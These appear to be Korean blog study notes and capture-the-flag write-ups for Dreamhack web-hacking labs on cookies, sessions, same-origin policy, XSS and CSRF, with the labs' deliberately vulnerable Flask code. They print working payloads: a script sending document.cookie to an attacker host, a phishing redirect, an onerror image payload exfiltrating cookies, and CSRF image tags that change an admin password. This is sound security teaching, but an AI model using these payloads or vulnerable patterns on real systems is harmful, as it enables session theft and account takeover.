    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        session_id = os.urandom(16).hex()
        session_storage[session_id] = 'admin'
        if not check_csrf(param, {"name":"sessionid", "value": session_id}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(8).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'


@app.route("/change_password")
def change_password():
    pw = request.args.get("pw", "")
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    users[username] = pw
    return 'Done'

app.run(host="0.0.0.0", port=8000)

 

위에서 배운 img 태그를 이용해서 password를 변경하기 위해보기로 했다.

change_password 함수를 이용해서 pw를 1234로 변경해주었다.

<img src="/change_password?pw=1234">

 

 

username은 admin, password는 1234라고 입력해주었더니 아래와 같이 flag가 나왔다.

 

 

 

[함께실습] CSRF

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})  # 관리자 쿠키가 적용되는 범위를 127.0.0.1로 제한되도록 설정
    try:
        options = webdriver.ChromeOptions() # 크롬 옵션을 사용하도록 설정
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_) # 크롬 브라우저 옵션 설정
        driver = webdriver.Chrome("/chromedriver", options=options) # 셀레늄에서 크롬 브라우저 사용
        driver.implicitly_wait(3)   # 크롬 로딩타임을 위한 타임아웃 3초 설정
        driver.set_page_load_timeout(3) # 페이지가 오픈되는 타임아웃 시간 3초 설정
        driver.get("http://127.0.0.1:8000/")    # 관리자가 CSRF-1 문제 사이트 접속
        driver.add_cookie(cookie)   # 관리자 쿠키 적용
        driver.get(url) # 인자로 전달된 url에 접속
    except Exception as e:
        driver.quit()   # 셀레늄 종료
        print(str(e))
        # return str(e)
        return False    # 접속 중 오류가 발생하면 비정상 종료 처리
    driver.quit()   # 셀레늄 종료
    return True # 정상 종료 처리


def check_csrf(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"  # 로컬 URL 설정
    return read_url(url, cookie)  # URL 방문


@app.route("/")
def index():
    return render_template("index.html")

@app.route("/vuln") # vuln 페이지 라우팅 (이용자가 /vuln 페이지에 접근시 아래 코드 실행)
def vuln():
    param = request.args.get("param", "").lower()   # 이용자가 입력한 param 파라미터를 소문자로 변경
    xss_filter = ["frame", "script", "on"]  # 세 가지 필터링 키워드
    for _ in xss_filter:
        param = param.replace(_, "*")   # 이용자가 입력한 값 중에 필터링 키워드가 있는 경우, '*'로 치환
    return param    # 이용자의 입력 값을 화면 상에 표시

@app.route("/flag", methods=["GET", "POST"])    # flag 페이지 라우팅 (GET, POST 요청을 모두 받음)
def flag():
    if request.method == "GET": # 이용자의 요청이 GET 메소드인 경우
        return render_template("flag.html") # 이용자에게 링크를 입력받는 화면을 출력
    elif request.method == "POST":  # 이용자의 요청이 POST 메소드인 경우
        param = request.form.get("param", "")   # param 파라미터를 가져온 후,
        if not check_csrf(param):   # 관리자에게 접속 요청 (check_csrf 함수)
            return '<script>alert("wrong??");history.go(-1);</script>'
        return '<script>alert("good");history.go(-1);</script>'



memo_text = ""


@app.route('/memo') # memo 페이지 라우팅
def memo(): # memo 함수 선언
    global memo_text # 메모를 전역변수로 참조
    text = request.args.get('memo', '') # 이용자가 전송한 memo 입력값을 가져옴
    memo_text += text + '\n' # 메모의 마지막에 새 줄 삽입 후 메모에 기록
    return render_template('memo.html', memo=memo_text) # 사이트에 기록된 메모를 화면에 출력


@app.route('/admin/notice_flag') # notice_flag 페이지 라우팅
def admin_notice_flag():
    global memo_text # 메모를 전역변수로 참조
    if request.remote_addr != '127.0.0.1': # 이용자의 IP가 로컬호스트가 아닌 경우
        return 'Access Denied' # 접근 제한
    if request.args.get('userid', '') != 'admin': # userid 파라미터가 admin이 아닌 경우
        return 'Access Denied 2' # 접근 제한
    memo_text += f'[Notice] flag is {FLAG}\n' # 위의 조건을 만족한 경우 메모에 FLAG 기록
    return 'Ok' # Ok 반환


app.run(host="0.0.0.0", port=8000)

 

img 태그를 활용해 param에 코드를 작성해주었다.

<img src="/admin/notice_flag?userid=admin">

 

memo에 다음과 같이 flag를 확인할 수 있었다.

 

'Web Hacking > Dreamhack' 카테고리의 다른 글

[Dreamhack] Web Hacking STAGE 7  (0) 2022.08.09
[Dreamhack] Web Hacking STAGE 6  (0) 2022.08.02
[Dreamhack] Web Hacking STAGE 4  (0) 2022.07.19
[Dreamhack] Web Hacking STAGE 3  (0) 2022.07.13
[Dreamhack] Web Hacking STAGE 2  (0) 2022.07.06

STAGE 4 : Cross-Site-Scripting (XSS)

Cross-Site-Scripting (XSS)

 

> ClientSide : XSS

XSS

: 클라이언트 사이드 취약점 중 하나로, 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행할 수 있다. 공격자는 해당 취약점을 통해 특정 계정의 세션 정보를 탈취하고 해당 계정으로 임의의 기능을 수행할 수 있다.

- XSS 발생 예시와 종류

 ⋅ XSS 공격은 이용자가 삽입한 내용을 출력하는 기능에서 발생한다.

 ⋅ 클라이언트는 HTTP 형식으로 웹 서버에 리소스를 요청하고 서버로부터 받은 응답, 즉 HTML, CSS, JS 등의 웹 리소스를 시각화하여 이용자에게 보여준다.

 ⋅ HTML, CSS, JS와 같은 코드가 포함된 게시물을 조회할 경우 이용자는 변조된 페이지를 보거나 스크립트가 실행될 수 있다.

 

- 발생 형태에 따른 종류

Stored XSS XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS
Reflected XSS XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS
DOM-based XSS XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS
Universal XSS 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS

 

- XSS 스크립트의 예시

 자바스크립트 : 웹 문서의 동작을 정의

 ⋅ 이용자가 버튼 클릭 시에 어떤 이벤트를 발생시킬지와 데이터 입력 시 해당 데이터를 전송하는 이벤트를 구현할 수 있다.  ⋅ 이용자와의 상호 작용 없이 이용자의 권한으로 정보를 조회하거나 변경하는 등의 행위가 가능하다.

 ⋅ 이러한 행위가 가능한 이유는 이용자를 식별하기 위한 세션 및 쿠키가 웹 브라우저에 저장되어 있기 때문이다.  

 => 자바스크립트를 통해 이용자에게 보여지는 웹 페이지를 조작하거나, 웹 브라우저의 위치를 임의의 주소로 변경할 수 있다.

 

- 쿠키 및 세션 탈취 공격 코드

<script>
// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie; 
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>

 

- 페이지 변조 공격 코드

<script>
// 이용자의 페이지 정보에 접근.
document;
// 이용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>

 

- 위치 이동 공격 코드

<script>
// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "http://hacker.dreamhack.io/phishing"; 
// 새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>

 

> Stored XSS

: 서버의 데이터베이스 또는 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생하는 XSS

ex ) 게시물과 댓글에 악성 스크립트를 포함해 업로드하는 방식 -> 게시물은 불특정 다수에게 보여지기 때문에 해당 기능에서 XSS 취약점이 존재할 경우 높은 파급력을 가진다.

 

> Reflected XSS

: 서버가 악성 스크립트가 담긴 요청을 출력할 때 발생

ex ) 게시판 서비스에서 작성된 게시물을 조회하기 위한 검색창에서 스크립트를 포함해 검색하는 방식 -> 이용자가 게시물을 검색하면 서버에서는 검색 결과를 이용자에게 반환한다. 일부 서비스에서는 검색 결과를 응답에 포함하는데, 검색 문자열에 악성 스크립트가 포함되어 있다면 Reflected XSS가 발생할 수 있다.

 

 ⋅ Reflected XSS는 URL과 같은 이용자의 요청에 의해 발생한다.

 ⋅ 따라서 공격을 위해서는 타 이용자에게 악성 스크립트가 포함된 링크에 접속하도록 유도해야 한다.

 ⋅ 이용자에게 링크를 직접 전달하는 방법은 악성 스크립트 포함 여부를 이용자가 눈치챌 수 있기 때문에 주로 Click Jacking 또는 Open Redirect 등 다른 취약점과 연계하여 사용한다.

 

[함께실습] XSS

/ 인덱스 페이지
/vuln 이용자가 입력한 값을 출력
/memo 이용자가 메모를 남길 수 있으며 작성한 메모를 출력
/flag 전달된 URL에 임의 이용자가 접속하게끔 한다.

 

- vuln 함수

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "") # 이용자가 입력한 vuln 인자를 가져옴
    return param # 이용자의 입력값을 화면 상에 표시

이용자가 전달한 param 파라미터의 값을 출력

 

- memo 함수

@app.route('/memo') # memo 페이지 라우팅
def memo(): # memo 함수 선언
    global memo_text # 메모를 전역변수로 참조
    text = request.args.get('memo', '') # 사용가 전송한 memo 입력값을 가져옴
    memo_text += text + '\n' # 사용가 전송한 memo 입력값을 memo_text에 추가
    return render_template('memo.html', memo=memo_text) # 사이트에 기록된 memo_text를 화면에 출력

이용자가 전달한 memo 파라미터 값을 render_template 함수를 통해 기록하고 출력

 

- flag 함수

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True
    
def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)
    
@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'
        return '<script>alert("good");history.go(-1);</script>'

GET : 이용자에게 URL을 입력받는 페이지를 제공

POST : params 파라미터에 값과 쿠키에 FLAG를 포함해 check_xss 함수를 호출한다. check_xss는 read_url 함수를 호출해 vuln 엔드포인트에 접속한다.

 

> 취약점 분석

vuln과 memo 엔드포인트는 이용자의 입력값을 페이지에 출력한다. memo는 render_template 함수를 사용해 memo.html을 출력한다. render_template 함수는 전달된 템플릿 변수를 기록할 때 HTML 엔티티 코드로 변환해 저장하기 때문에 XSS가 발생하지 않는다. 그러나 vuln은 이용자가 입력한 값을 페이지에 그대로 출력하기 때문에 XSS가 발생한다.

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "") # 이용자가 입력한 vuln 인자를 가져옴
    return param # 이용자의 입력값을 화면 상에 표시

 

> 익스플로잇

/vuln 엔드포인트에서 발생하는 XSS 취약점을 통해 임의 이용자의 쿠키를 탈취해야 한다.

탈취한 쿠키를 전달받기 위해서는 외부에서 접근 가능한 웹 서버를 사용하거나 문제에서 제공하는 memo 엔드포인트를 사용할 수 있다.

속성 설명
location.href 전체 URL을 반환하거나, URL을 업데이트할 수 있는 속성값이다
document.cookie 해당 페이지에서 사용하는 쿠키를 읽고, 쓰는 속성값이다.

 

> 쿠키 탈취

- memo 페이지 사용

flag 엔드포인트에서 다음과 같은 익스플로잇 코드를 입력하면, memo 엔드포인트에서 임의 이용자의 쿠키 정보를 확인할 수 있다.

<script>location.href = "/memo?memo=" + document.cookie;</script>

 

- 웹 서버 사용

외부에서 접근 가능한 웹 서버를 통해 탈취한 쿠키를 확인할 수 있다. 해당 서비스(tools.dreamhack.games)에서 제공하는Request Bin 기능은 이용자의 접속기록을 저장하기 때문에 해당 정보를 확인할 수 있다. Request Bin 버튼을 클릭하면 랜덤한 URL이 생성되며, 해당 URL에 접속한 기록을 저장한다.

 

flag탭을 누르면 아래와 같이 나온다.

<script>location.href="/memo?memo="+document.cookie;</script>

를 입력해주었다.

 

memo 탭에서 flag를 확인할 수 있었다.

 

[혼자 실습] XSS

vuln(xss) page에서 script 태그가 작동하지 않았다.

그래서 img 태그를 사용해보았는데, 작동하였다.

http://host3.dreamhack.games:22513/vuln?param=%3Cimg%20src=%22img.jpg%22%3E

 

img 태그를 이용하여 flag탭에 입력해주었다.

<img src="img.jpg" onerror="location.href ='/memo?memo='+document.cookie"/>

 

다음과 같이 flag를 확인할 수 있었다.

'Web Hacking > Dreamhack' 카테고리의 다른 글

[Dreamhack] Web Hacking STAGE 7  (0) 2022.08.09
[Dreamhack] Web Hacking STAGE 6  (0) 2022.08.02
[Dreamhack] Web Hacking STAGE 5  (0) 2022.07.25
[Dreamhack] Web Hacking STAGE 3  (0) 2022.07.13
[Dreamhack] Web Hacking STAGE 2  (0) 2022.07.06

STAGE 3: Cookie & Session

Cookie & Session

 

> Background : Cookie & Session

쿠키

: Key와 Value로 이뤄진 일종의 단위

 ⋅ 서버와 클라이언트에게 쿠키를 발급하면, 클라이언트는 서버에 요청을 보낼 때마다 쿠키를 같이 전송한다. 

 ⋅ 서버는 클라이언트의 요청에 포함된 쿠키를 확인해 클라이언트를 구분할 수 있다.

클라이언트의 IP 주소와 User-Agent는 매번 변경될 수 있는 고유하지 않은 정보일 뿐만 아니라, HTTP 프로토콜의 
Connectionless와 Stateless 특징 때문에 웹 서버는 클라이언트를 기억할 수 없다. 

- Connectionless : 하나의 요청에 하나의 응답을 한 후 연결을 종료하는 것
 ⋅ 특정 요청에 대한 연결은 이후의 요청과 이어지지 않고 새 요청이 있을 때 마다 항상 새로운 연결을 맺는다.

- Stateless : 통신이 끝난 후 상태 정보를 저장하지 않는 것
 ⋅ 이전 연결에서 사용한 데이터를 다른 연결에서 요구할 수 없다.

> 용도

- 정보 기록

 ⋅ 웹 서버는 각 클라이언트의 팝업 옵션( ex | "다시 보지 않기", "7 일간 표시하지 않기" )을 기억하기 위해 쿠키에 해당 정보를 기록하고, 쿠키를 통해 팝업 창 표시 여부를 판단한다.

 ⋅ 쿠키는 서버와 통신할 때마다 전송되기 때문에 쿠키가 필요없는 요청을 보낼 때 리소스 낭비가 발생할 수 있다.

-> 이를 보완하기 위해 Mordern Storage APIs를 통해 데이터를 저장하는 방식을 권장하고 있다.

 

- 상태 정보

 ⋅ 웹 서버에서는 수많은 클라이언트의 로그인 상태와 이용자를 구별해야 하는데, 이때 클라이언트를 식별할 수 있는 값을 쿠키에 저장해 사용한다.

 

> 쿠키가 없는 통신

서버는 요청을 보낸 클라이언트가 누군지 알 수 없기에 현재 어떤 클라이언트와 통신하는지 알 수 없다.

 

> 쿠키가 있는 통신

클라이언트는 서버에 요청을 보낼 때마다 쿠키를 포함하고, 서버는 해당 쿠키를 통해 클라이언트를 식별한다.

 

> 쿠키 변조

- 쿠키는 클라이언트의 브라우저에 저장되고 요청에 포함되는 정보이다. 따라서 악의적인 클라이언트는 쿠키 정보를 변조에 서버에 요청을 보낼 수 있다. 

- 서버가 별다른 검증없이 쿠키를 통해 이용자의 인증정보를 식별한다면, 공격자가 타 이용자를 사칭한 정보 탈취가 가능하다.

 

세션

 : 쿠키에 인증상태를 저장하지만 클라이언트가 인증 정보를 변조할 수 없게 하기 위해 사용하는 것

 ⋅ 세션은 인증정보를 서버에 저장하고 해당 데이터에 접근할 수 있는 키(Session ID ; 유추 가능한 랜덤 문자열)를 만들어 클라이언트에 전달하는 방식으로 작동

 ⋅ 브라우저는 해당 키를 쿠키에 저장하고 이후에 HTTP 요청을 보낼 때 사용한다. 서버는 요청에 포함된 키에 해당하는 데이터를 가져와 인증 상태를 확인한다.

 ⋅ 쿠키는 데이터 자체를 이용자가 저장하며, 세션은 서버가 저장한다.

 

 

Same Origin Policy

> Mitigation : Same Origin Policy

Same Origin Policy (SOP)

: 웹 브라우저 보안을 위해 프로토콜, 호스트, 포트가 동일한 서버로만 요청을 주고 받을 수 있도록 한 동일 출처 정책

 ⋅ Cross Origin이 아닌 Same Origin일 때만 정보를 읽을 수 있다.

 

- Origin

 : 프로토콜, 포트, 호스트로 구성, 구성요소가 모두 일치해야 동일한 오리진이라고 함

 

- Same Orgin Policy 데모

<!-- iframe 객체 생성 -->
<iframe src="" id="my-frame"></iframe>
<!-- Javascript 시작 -->
<script>
/* 2번째 줄의 iframe 객체를 myFrame 변수에 가져옵니다. */
let myFrame = document.getElementById('my-frame')
/* iframe 객체에 주소가 로드되는 경우 아래와 같은 코드를 실행합니다. */
myFrame.onload = () => {
    /* try ... catch 는 에러를 처리하는 로직 입니다. */
    try {
        /* 로드가 완료되면, secret-element 객체의 내용을 콘솔에 출력합니다. */
        let secretValue = myFrame.contentWindow.document.getElementById('secret-element').innerText;
        console.log({ secretValue });
    } catch(error) {
        /* 오류 발생시 콘솔에 오류 로그를 출력합니다. */
        console.log({ error });
    }
}
/* iframe객체에 Same Origin, Cross Origin 주소를 로드하는 함수 입니다. */
const loadSameOrigin = () => { myFrame.src = 'https://same-origin.com/frame.html'; }
const loadCrossOrigin = () => { myFrame.src = 'https://cross-origin.com/frame.html'; }
</script>
<!--
버튼 2개 생성 (Same Origin 버튼, Cross Origin 버튼)
-->
<button onclick=loadSameOrigin()>Same Origin</button><br>
<button onclick=loadCrossOrigin()>Cross Origin</button>
<!--
frame.html의 코드가 아래와 같습니다.
secret-element라는 id를 가진 div 객체 안에 treasure라고 하는 비밀 값을 넣어두었습니다.
-->
<div id="secret-element">treasure</div>

 

Cross Origin Resource Sharing (CORS)

: SOP를 적용받지 않고 리소스를 공유하기 위한 교차 출처 리소스 공유 방법

 ⋅ HTTP 헤더에 기반하여 Cross Origin 간에 리소스를 공유하는 방법

 ⋅ 발신측에서 CORS 헤더를 설정해 요청하면, 수신측에서 헤더를 구분해 정해진 규칙에 맞게 데이터를 가져갈 수 있도록 설정한다.

Access-Control-Allow-Origin 헤더 값에 해당하는 Origin에서 들어오는 요청만 처리
Access-Control-Allow-Methods 헤더 값에 해당하는 메소드의 요청만 처리
Access-Control-Allow-Credentials 쿠키 사용 여부를 판단
Access-Control-Allow-Headers 헤더 값에 해당하는 헤더의 사용 가능 여부를 나타냄

 

JSON with Padding (JSONP)

: script 태그로 Cross Origin의 데이터를 불러옴

 ⋅ Callback 함수 활용

 

 

[혼자 실습] Session-basic

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

users = {
    'guest': 'guest',
    'user': 'user1234',
    'admin': FLAG
}


# this is our session storage 
session_storage = {
}


@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        # get username from session_storage 
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            # you cannot know admin's pw 
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(32).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'


@app.route('/admin')
def admin():
    # what is it? Does this page tell you session? 
    # It is weird... TODO: the developer should add a routine for checking privilege 
    return session_storage


if __name__ == '__main__':
    import os
    # create admin sessionid and save it to our storage
    # and also you cannot reveal admin's sesseionid by brute forcing!!! haha
    session_storage[os.urandom(32).hex()] = 'admin'
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

 

http://host3.dreamhack.games:13917 주소 뒤에 /admin을 붙여주었더니다음과 같은 문구가 나왔다.

 

admin에 해당하는 값을 sessionid의 value값으로 넣어주고 새로고침을 해주었다.

 

다음과 같이 flag를 획득할 수 있었다.

 

[함께실습] Cookie

- index 페이지 코드

@app.route('/') # / 페이지 라우팅 
def index():
    username = request.cookies.get('username', None) # 이용자가 전송한 쿠키의 username 입력값을 가져옴
    if username: # username 입력값이 존재하는 경우
        return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}') # "admin"인 경우 FLAG 출력, 아닌 경우 "you are not admin" 출력
    return render_template('index.html')

username이 admin일 경우 FLAG를 출력한다.

 

- login 페이지 코드

@app.route('/login', methods=['GET', 'POST']) # login 페이지 라우팅, GET/POST 메소드로 접근 가능
def login():
    if request.method == 'GET': # GET 메소드로 요청 시
        return render_template('login.html') # login.html 페이지 출력
    elif request.method == 'POST': # POST 메소드로 요청 시
        username = request.form.get('username') # 이용자가 전송한 username 입력값을 가져옴
        password = request.form.get('password') # 이용자가 전송한 password 입력값을 가져옴
        try:
            pw = users[username] # users 변수에서 이용자가 전송한 username이 존재하는지 확인
        except: 
            return '<script>alert("not found user");history.go(-1);</script>' # 존재하지 않는 username인 경우 경고 출력
        if pw == password: # password 체크
            resp = make_response(redirect(url_for('index')) ) # index 페이지로 이동하는 응답 생성
            resp.set_cookie('username', username) # username 쿠키 설정
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>' # password가 동일하지 않은 경우

GET : username과 password를 입력할 수 있는 로그인 페이지 제공

POST : 이용자가 입력한 username과 password 입력 값을 users 변숫값과 비교

 

- users 변수 선언

try:
    FLAG = open('./flag.txt', 'r').read() # flag.txt 파일로부터 FLAG 데이터를 가져옴.
except:
    FLAG = '[**FLAG**]'
users = {
    'guest': 'guest',
    'admin': FLAG # FLAG 데이터를 패스워드로 선언
}

손님 계정의 비밀번호는 guest, 관리자 계정의 비밀번호는 파일에서 읽어온 FLAG이다.

 

> 취약점 분석

이용자의 계정을 나타내는 username 변수가 요청에 포함된 쿠키에 의해 결정되어 문제가 발생한다. 

서버는 별다른 검증없이 이용자 요청에 포함된 쿠키를 신뢰하고, 이용자 인증 정보를 식별하기 때문에 공격자는 쿠키에 타 계정 정보를 삽입해 계정을 탈취할 수 있다.

 

 

 

'Web Hacking > Dreamhack' 카테고리의 다른 글

[Dreamhack] Web Hacking STAGE 7  (0) 2022.08.09
[Dreamhack] Web Hacking STAGE 6  (0) 2022.08.02
[Dreamhack] Web Hacking STAGE 5  (0) 2022.07.25
[Dreamhack] Web Hacking STAGE 4  (0) 2022.07.19
[Dreamhack] Web Hacking STAGE 2  (0) 2022.07.06

+ Recent posts